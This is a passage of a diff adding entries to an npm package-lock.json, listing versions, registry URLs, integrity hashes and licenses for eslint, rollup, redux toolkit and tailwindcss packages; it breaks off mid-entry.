"node_modules/@eslint/config-helpers": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", + "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^0.17.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/core": { + "version": "0.17.0", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", + "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@types/json-schema": "^7.0.15" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.3.tgz", + "integrity": "sha512-Kr+LPIUVKz2qkx1HAMH8q1q6azbqBAsXJUxBl/ODDuVPX45Z9DfwB8tPjTi6nNZ8BuM3nbJxC5zCAg5elnBUTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^10.0.1", + "globals": "^14.0.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.1", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", + "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/js": { + "version": "9.39.2", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.2.tgz", + "integrity": "sha512-q1mjIoW1VX4IvSocvM/vbTiveKC4k9eLrajNEuSsmjymSDEbpGddtpfOoN7YGAqBK3NG+uqo8ia4PDTt8buCYA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + } + }, + "node_modules/@eslint/object-schema": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", + "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/plugin-kit": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", + "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^0.17.0", + "levn": "^0.4.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@humanfs/core": { + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", + "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/node": { + "version": "0.16.7", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", + "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/core": "^0.19.1", + "@humanwhocodes/retry": "^0.4.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/retry": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", + "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/remapping": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@reduxjs/toolkit": { + "version": "2.11.2", + "resolved": "https://registry.npmjs.org/@reduxjs/toolkit/-/toolkit-2.11.2.tgz", + "integrity": "sha512-Kd6kAHTA6/nUpp8mySPqj3en3dm0tdMIgbttnQ1xFMVpufoj+ADi8pXLBsd4xzTRHQa7t/Jv8W5UnCuW4kuWMQ==", + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.0.0", + "@standard-schema/utils": "^0.3.0", + "immer": "^11.0.0", + "redux": "^5.0.1", + "redux-thunk": "^3.1.0", + "reselect": "^5.1.0" + }, + "peerDependencies": { + "react": "^16.9.0 || ^17.0.0 || ^18 || ^19", + "react-redux": "^7.2.1 || ^8.1.3 || ^9.0.0" + }, + "peerDependenciesMeta": { + "react": { + "optional": true + }, + "react-redux": { + "optional": true + } + } + }, + "node_modules/@reduxjs/toolkit/node_modules/immer": { + "version": "11.1.4", + "resolved": "https://registry.npmjs.org/immer/-/immer-11.1.4.tgz", + "integrity": "sha512-XREFCPo6ksxVzP4E0ekD5aMdf8WMwmdNaz6vuvxgI40UaEiu6q3p8X52aU6GdyvLY3XXX/8R7JOTXStz/nBbRw==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/immer" + } + }, + "node_modules/@rolldown/pluginutils": { + "version": "1.0.0-rc.3", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-rc.3.tgz", + "integrity": "sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.57.1.tgz", + "integrity": "sha512-A6ehUVSiSaaliTxai040ZpZ2zTevHYbvu/lDoeAteHI8QnaosIzm4qwtezfRg1jOYaUmnzLX1AOD6Z+UJjtifg==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.57.1.tgz", + "integrity": "sha512-dQaAddCY9YgkFHZcFNS/606Exo8vcLHwArFZ7vxXq4rigo2bb494/xKMMwRRQW6ug7Js6yXmBZhSBRuBvCCQ3w==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.57.1.tgz", + "integrity": "sha512-crNPrwJOrRxagUYeMn/DZwqN88SDmwaJ8Cvi/TN1HnWBU7GwknckyosC2gd0IqYRsHDEnXf328o9/HC6OkPgOg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.57.1.tgz", + "integrity": "sha512-Ji8g8ChVbKrhFtig5QBV7iMaJrGtpHelkB3lsaKzadFBe58gmjfGXAOfI5FV0lYMH8wiqsxKQ1C9B0YTRXVy4w==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.57.1.tgz", + "integrity": "sha512-R+/WwhsjmwodAcz65guCGFRkMb4gKWTcIeLy60JJQbXrJ97BOXHxnkPFrP+YwFlaS0m+uWJTstrUA9o+UchFug==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.57.1.tgz", + "integrity": "sha512-IEQTCHeiTOnAUC3IDQdzRAGj3jOAYNr9kBguI7MQAAZK3caezRrg0GxAb6Hchg4lxdZEI5Oq3iov/w/hnFWY9Q==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.57.1.tgz", + "integrity": "sha512-F8sWbhZ7tyuEfsmOxwc2giKDQzN3+kuBLPwwZGyVkLlKGdV1nvnNwYD0fKQ8+XS6hp9nY7B+ZeK01EBUE7aHaw==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.57.1.tgz", + "integrity": "sha512-rGfNUfn0GIeXtBP1wL5MnzSj98+PZe/AXaGBCRmT0ts80lU5CATYGxXukeTX39XBKsxzFpEeK+Mrp9faXOlmrw==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.57.1.tgz", + "integrity": "sha512-MMtej3YHWeg/0klK2Qodf3yrNzz6CGjo2UntLvk2RSPlhzgLvYEB3frRvbEF2wRKh1Z2fDIg9KRPe1fawv7C+g==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.57.1.tgz", + "integrity": "sha512-1a/qhaaOXhqXGpMFMET9VqwZakkljWHLmZOX48R0I/YLbhdxr1m4gtG1Hq7++VhVUmf+L3sTAf9op4JlhQ5u1Q==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.57.1.tgz", + "integrity": "sha512-QWO6RQTZ/cqYtJMtxhkRkidoNGXc7ERPbZN7dVW5SdURuLeVU7lwKMpo18XdcmpWYd0qsP1bwKPf7DNSUinhvA==", + "cpu": [ + "loong64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.57.1.tgz", + "integrity": "sha512-xpObYIf+8gprgWaPP32xiN5RVTi/s5FCR+XMXSKmhfoJjrpRAjCuuqQXyxUa/eJTdAE6eJ+KDKaoEqjZQxh3Gw==", + "cpu": [ + "loong64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.57.1.tgz", + "integrity": "sha512-4BrCgrpZo4hvzMDKRqEaW1zeecScDCR+2nZ86ATLhAoJ5FQ+lbHVD3ttKe74/c7tNT9c6F2viwB3ufwp01Oh2w==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.57.1.tgz", + "integrity": "sha512-NOlUuzesGauESAyEYFSe3QTUguL+lvrN1HtwEEsU2rOwdUDeTMJdO5dUYl/2hKf9jWydJrO9OL/XSSf65R5+Xw==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.57.1.tgz", + "integrity": "sha512-ptA88htVp0AwUUqhVghwDIKlvJMD/fmL/wrQj99PRHFRAG6Z5nbWoWG4o81Nt9FT+IuqUQi+L31ZKAFeJ5Is+A==", + "cpu": [ + "riscv64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.57.1.tgz", + "integrity": "sha512-S51t7aMMTNdmAMPpBg7OOsTdn4tySRQvklmL3RpDRyknk87+Sp3xaumlatU+ppQ+5raY7sSTcC2beGgvhENfuw==", + "cpu": [ + "riscv64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.57.1.tgz", + "integrity": "sha512-Bl00OFnVFkL82FHbEqy3k5CUCKH6OEJL54KCyx2oqsmZnFTR8IoNqBF+mjQVcRCT5sB6yOvK8A37LNm/kPJiZg==", + "cpu": [ + "s390x" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.57.1.tgz", + "integrity": "sha512-ABca4ceT4N+Tv/GtotnWAeXZUZuM/9AQyCyKYyKnpk4yoA7QIAuBt6Hkgpw8kActYlew2mvckXkvx0FfoInnLg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.57.1.tgz", + "integrity": "sha512-HFps0JeGtuOR2convgRRkHCekD7j+gdAuXM+/i6kGzQtFhlCtQkpwtNzkNj6QhCDp7DRJ7+qC/1Vg2jt5iSOFw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.57.1.tgz", + "integrity": "sha512-H+hXEv9gdVQuDTgnqD+SQffoWoc0Of59AStSzTEj/feWTBAnSfSD3+Dql1ZruJQxmykT/JVY0dE8Ka7z0DH1hw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.57.1.tgz", + "integrity": "sha512-4wYoDpNg6o/oPximyc/NG+mYUejZrCU2q+2w6YZqrAs2UcNUChIZXjtafAiiZSUc7On8v5NyNj34Kzj/Ltk6dQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.57.1.tgz", + "integrity": "sha512-O54mtsV/6LW3P8qdTcamQmuC990HDfR71lo44oZMZlXU4tzLrbvTii87Ni9opq60ds0YzuAlEr/GNwuNluZyMQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.57.1.tgz", + "integrity": "sha512-P3dLS+IerxCT/7D2q2FYcRdWRl22dNbrbBEtxdWhXrfIMPP9lQhb5h4Du04mdl5Woq05jVCDPCMF7Ub0NAjIew==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.57.1.tgz", + "integrity": "sha512-VMBH2eOOaKGtIJYleXsi2B8CPVADrh+TyNxJ4mWPnKfLB/DBUmzW+5m1xUrcwWoMfSLagIRpjUFeW5CO5hyciQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.57.1.tgz", + "integrity": "sha512-mxRFDdHIWRxg3UfIIAwCm6NzvxG0jDX/wBN6KsQFTvKFqqg9vTrWUE68qEjHt19A5wwx5X5aUi2zuZT7YR0jrA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@standard-schema/spec": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", + "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", + "license": "MIT" + }, + "node_modules/@standard-schema/utils": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@standard-schema/utils/-/utils-0.3.0.tgz", + "integrity": "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g==", + "license": "MIT" + }, + "node_modules/@tailwindcss/node": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/node/-/node-4.1.18.tgz", + "integrity": "sha512-DoR7U1P7iYhw16qJ49fgXUlry1t4CpXeErJHnQ44JgTSKMaZUdf17cfn5mHchfJ4KRBZRFA/Coo+MUF5+gOaCQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/remapping": "^2.3.4", + "enhanced-resolve": "^5.18.3", + "jiti": "^2.6.1", + "lightningcss": "1.30.2", + "magic-string": "^0.30.21", + "source-map-js": "^1.2.1", + "tailwindcss": "4.1.18" + } + }, + "node_modules/@tailwindcss/oxide": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide/-/oxide-4.1.18.tgz", + "integrity": "sha512-EgCR5tTS5bUSKQgzeMClT6iCY3ToqE1y+ZB0AKldj809QXk1Y+3jB0upOYZrn9aGIzPtUsP7sX4QQ4XtjBB95A==", + "license": "MIT", + "engines": { + "node": ">= 10" + }, + "optionalDependencies": { + "@tailwindcss/oxide-android-arm64": "4.1.18", + "@tailwindcss/oxide-darwin-arm64": "4.1.18", + "@tailwindcss/oxide-darwin-x64": "4.1.18", + "@tailwindcss/oxide-freebsd-x64": "4.1.18", + "@tailwindcss/oxide-linux-arm-gnueabihf": "4.1.18", + "@tailwindcss/oxide-linux-arm64-gnu": "4.1.18", + "@tailwindcss/oxide-linux-arm64-musl": "4.1.18", + "@tailwindcss/oxide-linux-x64-gnu": "4.1.18", + "@tailwindcss/oxide-linux-x64-musl": "4.1.18", + "@tailwindcss/oxide-wasm32-wasi": "4.1.18", + "@tailwindcss/oxide-win32-arm64-msvc": "4.1.18", + "@tailwindcss/oxide-win32-x64-msvc": "4.1.18" + } + }, + "node_modules/@tailwindcss/oxide-android-arm64": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-android-arm64/-/oxide-android-arm64-4.1.18.tgz", + "integrity": "sha512-dJHz7+Ugr9U/diKJA0W6N/6/cjI+ZTAoxPf9Iz9BFRF2GzEX8IvXxFIi/dZBloVJX/MZGvRuFA9rqwdiIEZQ0Q==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-darwin-arm64": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-arm64/-/oxide-darwin-arm64-4.1.18.tgz", + "integrity": "sha512-Gc2q4Qhs660bhjyBSKgq6BYvwDz4G+BuyJ5H1xfhmDR3D8HnHCmT/BSkvSL0vQLy/nkMLY20PQ2OoYMO15Jd0A==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-darwin-x64": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-x64/-/oxide-darwin-x64-4.1.18.tgz", + "integrity": "sha512-FL5oxr2xQsFrc3X9o1fjHKBYBMD1QZNyc1Xzw/h5Qu4XnEBi3dZn96HcHm41c/euGV+GRiXFfh2hUCyKi/e+yw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-freebsd-x64": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-freebsd-x64/-/oxide-freebsd-x64-4.1.18.tgz", + "integrity": "sha512-Fj+RHgu5bDodmV1dM9yAxlfJwkkWvLiRjbhuO2LEtwtlYlBgiAT4x/j5wQr1tC3SANAgD+0YcmWVrj8R9trVMA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm-gnueabihf": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm-gnueabihf/-/oxide-linux-arm-gnueabihf-4.1.18.tgz", + "integrity": "sha512-Fp+Wzk/Ws4dZn+LV2Nqx3IilnhH51YZoRaYHQsVq3RQvEl+71VGKFpkfHrLM/Li+kt5c0DJe/bHXK1eHgDmdiA==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm64-gnu": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-gnu/-/oxide-linux-arm64-gnu-4.1.18.tgz", + "integrity": "sha512-S0n3jboLysNbh55Vrt7pk9wgpyTTPD0fdQeh7wQfMqLPM/Hrxi+dVsLsPrycQjGKEQk85Kgbx+6+QnYNiHalnw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm64-musl": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-musl/-/oxide-linux-arm64-musl-4.1.18.tgz", + "integrity": "sha512-1px92582HkPQlaaCkdRcio71p8bc8i/ap5807tPRDK/uw953cauQBT8c5tVGkOwrHMfc2Yh6UuxaH4vtTjGvHg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-linux-x64-gnu": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-gnu/-/oxide-linux-x64-gnu-4.1.18.tgz", + "integrity": "sha512-v3gyT0ivkfBLoZGF9LyHmts0Isc8jHZyVcbzio6Wpzifg/+5ZJpDiRiUhDLkcr7f/r38SWNe7ucxmGW3j3Kb/g==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-linux-x64-musl": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-musl/-/oxide-linux-x64-musl-4.1.18.tgz", + "integrity": "sha512-bhJ2y2OQNlcRwwgOAGMY0xTFStt4/wyU6pvI6LSuZpRgKQwxTec0/3Scu91O8ir7qCR3AuepQKLU/kX99FouqQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-wasm32-wasi/-/oxide-wasm32-wasi-4.1.18.tgz", + "integrity": "sha512-LffYTvPjODiP6PT16oNeUQJzNVyJl1cjIebq/rWWBF+3eDst5JGEFSc5cWxyRCJ0Mxl+KyIkqRxk1XPEs9x8TA==", + "bundleDependencies": [ + "@napi-rs/wasm-runtime", + "@emnapi/core", + "@emnapi/runtime", + "@tybys/wasm-util", + 